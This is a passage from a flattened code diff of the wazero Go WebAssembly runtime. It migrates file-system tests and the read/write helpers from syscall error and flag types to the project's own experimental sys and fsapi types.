f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, syscall.O_RDONLY, 0)
f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, fsapi.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer f.Close()
_, errno = f.Seek(0, io.SeekCurrent)
require.EqualErrno(t, syscall.ENOSYS, errno)
require.EqualErrno(t, experimentalsys.ENOSYS, errno)
}
func TestFileWriteAndPwrite(t *testing.T) {
// fsapi.FS doesn't support writes, and there is no other built-in
// implementation except os.File.
path := path.Join(t.TempDir(), wazeroFile)
f := requireOpenFile(t, path, syscall.O_RDWR|os.O_CREATE, 0o600)
f := requireOpenFile(t, path, fsapi.O_RDWR|fsapi.O_CREAT, 0o600)
defer f.Close()
text := "wazero"
@@ -626,20 +679,20 @@ func TestFileWrite_empty(t *testing.T) {
// fsapi.FS doesn't support writes, and there is no other built-in
// implementation except os.File.
path := path.Join(t.TempDir(), emptyFile)
f := requireOpenFile(t, path, syscall.O_RDWR|os.O_CREATE, 0o600)
f := requireOpenFile(t, path, fsapi.O_RDWR|fsapi.O_CREAT, 0o600)
defer f.Close()
tests := []struct {
name string
fn func(fsapi.File, []byte) (int, syscall.Errno)
fn func(fsapi.File, []byte) (int, experimentalsys.Errno)
}{
{name: "Write", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) {
{name: "Write", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
return f.Write(buf)
}},
{name: "Pwrite from zero", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) {
{name: "Pwrite from zero", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
return f.Pwrite(buf, 0)
}},
{name: "Pwrite from 3", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) {
{name: "Pwrite from 3", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
return f.Pwrite(buf, 3)
}},
}
@@ -666,19 +719,19 @@ func TestFileWrite_Unsupported(t *testing.T) {
embedFS, err := fs.Sub(testdata, "testdata")
require.NoError(t, err)
// Use syscall.O_RDWR so that it fails due to type not flags
f, errno := OpenFSFile(&maskFS{embedFS}, wazeroFile, syscall.O_RDWR, 0)
// Use fsapi.O_RDWR so that it fails due to type not flags
f, errno := OpenFSFile(&maskFS{embedFS}, wazeroFile, fsapi.O_RDWR, 0)
require.EqualErrno(t, 0, errno)
defer f.Close()
tests := []struct {
name string
fn func(fsapi.File, []byte) (int, syscall.Errno)
fn func(fsapi.File, []byte) (int, experimentalsys.Errno)
}{
{name: "Write", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) {
{name: "Write", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
return f.Write(buf)
}},
{name: "Pwrite", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) {
{name: "Pwrite", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
return f.Pwrite(buf, 0)
}},
}
@@ -690,7 +743,7 @@ func TestFileWrite_Unsupported(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
_, errno := tc.fn(f, buf)
require.EqualErrno(t, syscall.ENOSYS, errno)
require.EqualErrno(t, experimentalsys.ENOSYS, errno)
})
}
}
@@ -703,20 +756,20 @@ func TestFileWrite_Errors(t *testing.T) {
require.NoError(t, of.Close())
// Open the file read-only
flag := syscall.O_RDONLY
flag := fsapi.O_RDONLY
f := requireOpenFile(t, path, flag, 0o600)
defer f.Close()
buf := []byte("wazero")
tests := []struct {
name string
fn func(fsapi.File) syscall.Errno
fn func(fsapi.File) experimentalsys.Errno
}{
{name: "Write", fn: func(f fsapi.File) syscall.Errno {
{name: "Write", fn: func(f fsapi.File) experimentalsys.Errno {
_, errno := f.Write(buf)
return errno
}},
{name: "Pwrite", fn: func(f fsapi.File) syscall.Errno {
{name: "Pwrite", fn: func(f fsapi.File) experimentalsys.Errno {
_, errno := f.Pwrite(buf, 0)
return errno
}},
@@ -729,7 +782,7 @@ func TestFileWrite_Errors(t *testing.T) {
t.Run("EBADF when not open for writing", func(t *testing.T) {
// The descriptor exists, but not open for writing
errno := tc.fn(f)
require.EqualErrno(t, syscall.EBADF, errno)
require.EqualErrno(t, experimentalsys.EBADF, errno)
})
testEISDIR(t, tc.fn)
})
@@ -744,14 +797,14 @@ func TestFileDatasync_NoError(t *testing.T) {
testSync_NoError(t, fsapi.File.Datasync)
}
func testSync_NoError(t *testing.T, sync func(fsapi.File) syscall.Errno) {
func testSync_NoError(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) {
roPath := "file_test.go"
ro, errno := OpenFSFile(embedFS, roPath, syscall.O_RDONLY, 0)
ro, errno := OpenFSFile(embedFS, roPath, fsapi.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer ro.Close()
rwPath := path.Join(t.TempDir(), "datasync")
rw, errno := OpenOSFile(rwPath, syscall.O_CREAT|syscall.O_RDWR, 0o600)
rw, errno := OpenOSFile(rwPath, fsapi.O_CREAT|fsapi.O_RDWR, 0o600)
require.EqualErrno(t, 0, errno)
defer rw.Close()
@@ -784,10 +837,10 @@ func TestFileDatasync(t *testing.T) {
// testSync doesn't guarantee sync works because the operating system may
// sync anyway. There is no test in Go for syscall.Fdatasync, but closest is
// similar to below. Effectively, this only tests that things don't error.
func testSync(t *testing.T, sync func(fsapi.File) syscall.Errno) {
func testSync(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) {
// Even though it is invalid, try to sync a directory
dPath := t.TempDir()
d := requireOpenFile(t, dPath, syscall.O_RDONLY, 0)
d := requireOpenFile(t, dPath, fsapi.O_RDONLY, 0)
defer d.Close()
errno := sync(d)
@@ -795,7 +848,7 @@ func testSync(t *testing.T, sync func(fsapi.File) syscall.Errno) {
fPath := path.Join(dPath, t.Name())
f := requireOpenFile(t, fPath, syscall.O_RDWR|os.O_CREATE, 0o600)
f := requireOpenFile(t, fPath, fsapi.O_RDWR|fsapi.O_CREAT, 0o600)
defer f.Close()
expected := "hello world!"
@@ -876,7 +929,7 @@ func TestFileTruncate(t *testing.T) {
})
}
truncateToZero := func(f fsapi.File) syscall.Errno {
truncateToZero := func(f fsapi.File) experimentalsys.Errno {
return f.Truncate(0)
}
@@ -894,7 +947,7 @@ func TestFileTruncate(t *testing.T) {
defer f.Close()
errno := f.Truncate(-1)
require.EqualErrno(t, syscall.EINVAL, errno)
require.EqualErrno(t, experimentalsys.EINVAL, errno)
})
}
@@ -903,7 +956,7 @@ func TestFileUtimens(t *testing.T) {
case "linux", "darwin": // supported
case "freebsd": // TODO: support freebsd w/o CGO
case "windows":
if !platform.IsGo120 {
if !platform.IsAtLeastGo120 {
t.Skip("windows only works after Go 1.20") // TODO: possibly 1.19 ;)
}
default: // expect ENOSYS and callers need to fall back to Utimens
@@ -912,10 +965,10 @@ func TestFileUtimens(t *testing.T) {
testUtimens(t, true)
testEBADFIfFileClosed(t, func(f fsapi.File) syscall.Errno {
testEBADFIfFileClosed(t, func(f fsapi.File) experimentalsys.Errno {
return f.Utimens(nil)
})
testEBADFIfDirClosed(t, func(d fsapi.File) syscall.Errno {
testEBADFIfDirClosed(t, func(d fsapi.File) experimentalsys.Errno {
return d.Utimens(nil)
})
}
@@ -989,18 +1042,18 @@ func TestNewStdioFile(t *testing.T) {
}
}
func testEBADFIfDirClosed(t *testing.T, fn func(fsapi.File) syscall.Errno) bool {
func testEBADFIfDirClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool {
return t.Run("EBADF if dir closed", func(t *testing.T) {
d := requireOpenFile(t, t.TempDir(), syscall.O_RDONLY, 0o755)
d := requireOpenFile(t, t.TempDir(), fsapi.O_RDONLY, 0o755)
// close the directory underneath
require.EqualErrno(t, 0, d.Close())
require.EqualErrno(t, syscall.EBADF, fn(d))
require.EqualErrno(t, experimentalsys.EBADF, fn(d))
})
}
func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) syscall.Errno) bool {
func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool {
return t.Run("EBADF if file closed", func(t *testing.T) {
tmpDir := t.TempDir()
@@ -1009,28 +1062,28 @@ func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) syscall.Errno) bool
// close the file underneath
require.EqualErrno(t, 0, f.Close())
require.EqualErrno(t, syscall.EBADF, fn(f))
require.EqualErrno(t, experimentalsys.EBADF, fn(f))
})
}
func testEISDIR(t *testing.T, fn func(fsapi.File) syscall.Errno) bool {
func testEISDIR(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool {
return t.Run("EISDIR if directory", func(t *testing.T) {
f := requireOpenFile(t, os.TempDir(), syscall.O_RDONLY|fsapi.O_DIRECTORY, 0o666)
f := requireOpenFile(t, os.TempDir(), fsapi.O_RDONLY|fsapi.O_DIRECTORY, 0o666)
defer f.Close()
require.EqualErrno(t, syscall.EISDIR, fn(f))
require.EqualErrno(t, experimentalsys.EISDIR, fn(f))
})
}
func openForWrite(t *testing.T, path string, content []byte) fsapi.File {
require.NoError(t, os.WriteFile(path, content, 0o0666))
f := requireOpenFile(t, path, syscall.O_RDWR, 0o666)
f := requireOpenFile(t, path, fsapi.O_RDWR, 0o666)
_, errno := f.Write(content)
require.EqualErrno(t, 0, errno)
return f
}
func requireOpenFile(t *testing.T, path string, flag int, perm fs.FileMode) fsapi.File {
func requireOpenFile(t *testing.T, path string, flag fsapi.Oflag, perm fs.FileMode) fsapi.File {
f, errno := OpenOSFile(path, flag, perm)
require.EqualErrno(t, 0, errno)
return f
+17 -4
View File
@@ -5,17 +5,30 @@ package sysfs
import (
"syscall"
"github.com/tetratelabs/wazero/internal/platform"
"github.com/tetratelabs/wazero/experimental/sys"
)
const NonBlockingFileIoSupported = true
const (
nonBlockingFileReadSupported = true
nonBlockingFileWriteSupported = true
)
// readFd exposes syscall.Read.
func readFd(fd uintptr, buf []byte) (int, syscall.Errno) {
func readFd(fd uintptr, buf []byte) (int, sys.Errno) {
if len(buf) == 0 {
return 0, 0 // Short-circuit 0-len reads.
}
n, err := syscall.Read(int(fd), buf)
errno := platform.UnwrapOSError(err)
errno := sys.UnwrapOSError(err)
return n, errno
}
// writeFd exposes syscall.Write.
func writeFd(fd uintptr, buf []byte) (int, sys.Errno) {
if len(buf) == 0 {
return 0, 0 // Short-circuit 0-len writes.
}
n, err := syscall.Write(int(fd), buf)
errno := sys.UnwrapOSError(err)
return n, errno
}
+13 -5
View File
@@ -1,12 +1,20 @@
//go:build !unix && !linux && !darwin
//go:build !unix && !linux && !darwin && !windows
package sysfs
import "syscall"
import "github.com/tetratelabs/wazero/experimental/sys"
const NonBlockingFileIoSupported = false
const (
nonBlockingFileReadSupported = false
nonBlockingFileWriteSupported = false
)
// readFd returns ENOSYS on unsupported platforms.
func readFd(fd uintptr, buf []byte) (int, syscall.Errno) {
return -1, syscall.ENOSYS
func readFd(fd uintptr, buf []byte) (int, sys.Errno) {
return -1, sys.ENOSYS
}
// writeFd returns ENOSYS on unsupported platforms.
func writeFd(fd uintptr, buf []byte) (int, sys.Errno) {
return -1, sys.ENOSYS
}
Loaded 100 of 208 files, more files were not shown because too many files have changed in this diff. Show more